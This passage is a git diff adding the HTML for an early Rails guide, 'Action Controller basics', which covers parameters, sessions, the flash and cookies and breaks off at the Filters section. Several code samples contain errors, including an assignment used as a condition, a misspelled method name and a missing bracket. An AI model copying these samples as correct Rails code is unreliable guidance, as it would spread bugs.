-include::appendix.txt[] - - - - - - - diff --git a/railties/doc/guides/html/actioncontroller_basics.html b/railties/doc/guides/html/actioncontroller_basics.html new file mode 100644 index 0000000000..091abfe3c7 --- /dev/null +++ b/railties/doc/guides/html/actioncontroller_basics.html @@ -0,0 +1,1125 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Action Controller basics</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_what_does_a_controller_do">What does a controller do?</a> + </li> + <li> + <a href="#_methods_and_actions">Methods and actions</a> + </li> + <li> + <a href="#_parameters">Parameters</a> + <ul> + + <li><a href="#_hash_and_array_parameters">Hash and array parameters</a></li> + + <li><a href="#_routing_parameters">Routing parameters</a></li> + + </ul> + </li> + <li> + <a href="#_session">Session</a> + <ul> + + <li><a href="#_disabling_the_session">Disabling the session</a></li> + + <li><a href="#_accessing_the_session">Accessing the session</a></li> + + <li><a href="#_the_flash">The flash</a></li> + + </ul> + </li> + <li> + <a href="#_cookies">Cookies</a> + </li> + <li> + <a href="#_filters">Filters</a> + <ul> + + <li><a href="#_after_filters_and_around_filters">After filters and around filters</a></li> + + <li><a href="#_other_ways_to_use_filters">Other ways to use filters</a></li> + + </ul> + </li> + <li> + <a href="#_verification">Verification</a> + </li> + <li> + <a href="#_the_request_and_response_objects">The request and response objects</a> + <ul> + + <li><a href="#_the_request">The request</a></li> + + <li><a href="#_the_response">The response</a></li> + + </ul> + </li> + <li> + <a href="#_http_basic_authentication">HTTP Basic Authentication</a> + </li> + <li> + <a href="#_streaming_and_file_downloads">Streaming and file downloads</a> + <ul> + + <li><a href="#_sending_files">Sending files</a></li> + + <li><a href="#_restful_downloads">RESTful downloads</a></li> + + </ul> + </li> + <li> + <a href="#_parameter_filtering">Parameter filtering</a> + </li> + <li> + <a href="#_rescue">Rescue</a> + <ul> + + <li><a href="#_the_default_500_and_404_templates">The default 500 and 404 templates</a></li> + + <li><a href="#_tt_rescue_from_tt"><tt>rescue_from</tt></a></li> + + </ul> + </li> + </ol> + </div> + + <div id="content"> + <h1>Action Controller basics</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>In this guide you will learn how controllers work and how they fit into the request cycle in your application. You will learn how to make use of the many tools provided by Action Controller to work with the session, cookies and filters and how to use the built-in HTTP authentication and data streaming facilities. In the end, we will take a look at some tools that will be useful once your controllers are ready and working, like how to filter sensitive parameters from the log and how to rescue and deal with exceptions that may be raised during the request.</p></div>
+</div>
+</div>
+<h2 id="_what_does_a_controller_do">1. What does a controller do?</h2>
+<div class="sectionbody">
+<div class="para"><p>Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.</p></div>
+<div class="para"><p>For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.</p></div>
+<div class="para"><p>A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display it to the user, and it saves or updates data from the user to the model.</p></div>
+</div>
+<h2 id="_methods_and_actions">2. Methods and actions</h2>
+<div class="sectionbody">
+<div class="para"><p>A controller is a Ruby class which inherits from ActionController::Base and has methods just like any other class. Usually these methods correspond to actions in MVC, but they can just as well be helpful methods which can be called by actions. When your application receives a request, the routing will determine which controller and action to run. Then an instance of that controller will be created and the method corresponding to the action (the method with the same name as the action) gets run.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Actions are public methods</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># These methods are responsible for producing output</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># Helper methods are private and can not be used as actions</span></span>
+private
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> foo
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Private methods in a controller are also used as filters, which will be covered later in this guide.</p></div>
+<div class="para"><p>As an example, if the user goes to <tt>/clients/new</tt> in your application to add a new client, a ClientsController instance will be created and the <tt>new</tt> method will be run. Note that the empty method from the example above could work just fine because Rails will by default render the <tt>new.html.erb</tt> view unless the action says otherwise. The <tt>new</tt> method could make available to the view a <tt>@client</tt> instance variable by creating a new Client:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+ <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The Layouts & rendering guide explains this in more detail.</p></div>
+</div>
+<h2 id="_parameters">3. Parameters</h2>
+<div class="sectionbody">
+<div class="para"><p>You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the <tt>params</tt> hash in your controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
+ <span style="font-style: italic"><span style="color: #9A1900"># This action uses query string parameters because it gets run by a HTTP GET request,</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># but this does not make any difference to the way in which the parameters are accessed.</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># The URL for this action would look like this in order to list activated clients: /clients?status=activated</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> params<span style="color: #990000">[:</span>status<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"activated"</span>
+ <span style="color: #009900">@clients</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>activated
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ <span style="color: #009900">@clients</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>unativated
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># This action uses POST parameters. They are most likely coming from an HTML</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># form which the user has submitted. The URL for this RESTful request will</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># be "/clients", and the data will be sent as part of the request body.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>client<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@client</span><span style="color: #990000">.</span>save
+ redirect_to <span style="color: #009900">@client</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># This line overrides the default rendering behavior, which would have been</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># to render the "create" view.</span></span>
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"new"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_hash_and_array_parameters">3.1. Hash and array parameters</h3>
+<div class="para"><p>The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>GET /clients?ids[]=1&ids[2]&ids[]=3</tt></pre>
+</div></div>
+<div class="para"><p>The value of <tt>params[:ids]</tt> will now be <tt>["1", "2", "3"]</tt>. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.</p></div>
+<div class="para"><p>To send a hash you include the key name inside the brackets:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt><form action="/clients" method="post">
+ <input type="text" name="client[name]" value="Acme" />
+ <input type="text" name="client[phone]" value="12345" />
+ <input type="text" name="client[address][postcode]" value="12345" />
+ <input type="text" name="client[address][city]" value="Carrot City" />
+</form></tt></pre>
+</div></div>
+<div class="para"><p>The value of <tt>params[:client]</tt> when this form is submitted will be <tt>{:name ⇒ "Acme", :phone ⇒ "12345", :address ⇒ {:postcode ⇒ "12345", :city ⇒ "Carrot City"}}</tt>. Note the nested hash in <tt>params[:client][:address]</tt>.</p></div>
+<h3 id="_routing_parameters">3.2. Routing parameters</h3>
+<div class="para"><p>The <tt>params</tt> hash will always contain the <tt>:controller</tt> and <tt>:action</tt> keys, but you should use the methods <tt>controller_name</tt> and <tt>action_name</tt> instead to access these values. Any other parameters defined by the routing, such as <tt>:id</tt> will also be available.</p></div>
+</div>
+<h2 id="_session">4. Session</h2>
+<div class="sectionbody">
+<div class="para"><p>Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and can use one of a number of different storage mechanisms:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+CookieStore - Stores everything on the client.
+</p>
+</li>
+<li>
+<p>
+DRBStore - Stores the data on a DRb client.
+</p>
+</li>
+<li>
+<p>
+MemCacheStore - Stores the data in MemCache.
+</p>
+</li>
+<li>
+<p>
+ActiveRecordStore - Stores the data in a database using Active Record.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>All session stores store the session id in a cookie - there is no other way of passing it to the server. Most stores also use this key to locate the session data on the server.</p></div>
+<div class="para"><p>The default and recommended store, the Cookie Store, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents. It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. Expecially discouraged is storing complex objects (anything other than basic Ruby objects, the primary example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The Cookie Store has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.</p></div>
+<div class="para"><p>If you need a different session storage mechanism, you can change it in the <tt>config/environment.rb</tt> file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]</span></span>
+config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>session_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>active_record_store
+</tt></pre></div></div>
+<h3 id="_disabling_the_session">4.1. Disabling the session</h3>
+<div class="para"><p>Sometimes you don't need a session, and you can turn it off to avoid the unnecessary overhead. To do this, use the <a href="http://api.rubyonrails.org/classes/ActionController/SessionManagement/ClassMethods.html#M000649">session</a> class method in your controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+ session <span style="color: #990000">:</span>off
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also turn the session on or off for a single controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># The session is turned off by default in ApplicationController, but we</span></span>
+<span style="font-style: italic"><span style="color: #9A1900"># want to turn it on for log in/out.</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+ session <span style="color: #990000">:</span>on
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Or even a single action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+ session <span style="color: #990000">:</span>on<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=></span> <span style="color: #990000">[:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>update<span style="color: #990000">]</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_accessing_the_session">4.2. Accessing the session</h3>
+<div class="para"><p>In your controller you can access the session through the <tt>session</tt> instance method.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">There are two <tt>session</tt> methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values. The class method is used outside of method definitions while the instance methods is used inside methods, in actions or filters.</td>
+</tr></table>
+</div>
+<div class="para"><p>Session values are stored using key/value pairs like a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
+private
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Finds the User with the ID stored in the session with the key :current_user_id</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># This is a common way to do user login in a Rails application; logging in sets the</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># session value and logging out removes it.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> current_user
+ <span style="color: #009900">@_current_user</span> <span style="color: #990000">||=</span> session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">&&</span> User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To store something in the session, just assign it to the key like a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-style: italic"><span style="color: #9A1900"># "Create" a login, aka "log the user in"</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> user <span style="color: #990000">=</span> User<span style="color: #990000">.</span>authenticate<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>username<span style="color: #990000">,</span> params<span style="color: #990000">[:</span>password<span style="color: #990000">])</span>
+ <span style="font-style: italic"><span style="color: #9A1900"># Save the user ID in the session so it can be used in subsequent requests</span></span>
+ session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> user<span style="color: #990000">.</span>id
+ redirect_to root_url
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To remove something from the session, assign that key to be <tt>nil</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-style: italic"><span style="color: #9A1900"># "Delete" a login, aka "log the user out"</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
+ <span style="font-style: italic"><span style="color: #9A1900"># Remove the user id from the session</span></span>
+ session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
+ redirect_to root_url
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To reset the entire session, use <a href="http://api.rubyonrails.org/classes/ActionController/Base.html#M000855">reset_session</a>.</p></div>
+<h3 id="_the_flash">4.3. The flash</h3>
+<div class="para"><p>The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can set a message which will be displayed to the user on the next request:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
+ session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
+ flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You have successfully logged out"</span>
+ redirect_to root_url
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>destroy</tt> action redirects to the application's <tt>root_url</tt>, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to a display eventual errors or notices from the flash in the application's layout:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt><html>
+ <!-- <head/> -->
+ <body>
+ <% if flash[:notice] -%>
+ <p class="notice"><%= flash[:notice] %></p>
+ <% end -%>
+ <% if flash[:error] -%>
+ <p class="error"><%= flash[:error] %></p>
+ <% end -%>
+ <!-- more content -->
+ </body>
+</html></tt></pre>
+</div></div>
+<div class="para"><p>This way, if an action sets an error or a notice message, the layout will display it automatically.</p></div>
+<div class="para"><p>If you want a flash value to be carried over to another request, use the <tt>keep</tt> method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MainController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Let's say this action corresponds to root_url, but you want all requests here to be redirected to</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># UsersController#index. If an action sets the flash and redirects here, the values would normally be</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># lost when another redirect happens, but you can use keep to make it persist for another request.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+ flash<span style="color: #990000">.</span>keep <span style="font-style: italic"><span style="color: #9A1900"># Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)</span></span>
+ redirect_to users_url
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h4 id="_flash_now">4.3.1. flash.now</h4>
+<div class="para"><p>By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the <tt>create</tt> action fails to save a resource and you render the <tt>new</tt> template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use <tt>flash.now</tt> in the same way you use the normal <tt>flash</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>client<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@client</span><span style="color: #990000">.</span>save
+ <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ flash<span style="color: #990000">.</span>now<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Could not save client"</span>
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"new"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_cookies">5. Cookies</h2>
+<div class="sectionbody">
+<div class="para"><p>Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the <tt>cookies</tt> method, which - much like the <tt>session</tt> - works like a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+ <span style="font-style: italic"><span style="color: #9A1900">#Auto-fill the commenter's name if it has been stored in a cookie</span></span>
+ <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>new<span style="color: #990000">(:</span>name <span style="color: #990000">=></span> cookies<span style="color: #990000">[:</span>commenter_name<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>save
+ flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Thanks for your comment!"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> params<span style="color: #990000">[:</span>remember_name<span style="color: #990000">]</span>
+ <span style="font-style: italic"><span style="color: #9A1900"># Remember the commenter's name</span></span>
+ cookies<span style="color: #990000">[:</span>commenter_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>name
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># Don't remember, and delete the name if it has been remembered before</span></span>
+ cookies<span style="color: #990000">.</span>delete<span style="color: #990000">(:</span>commenter_name<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ redirect_to <span style="color: #009900">@comment</span><span style="color: #990000">.</span>article
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"new"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Note that while for session values, you set the key to <tt>nil</tt>, to delete a cookie value, you use <tt>cookies.delete(:key)</tt>.</p></div>
+</div>
+<h2 id="_filters">6. Filters</h2>
+<div class="sectionbody">
+<div class="para"><p>Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. Let's define the filter method first:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
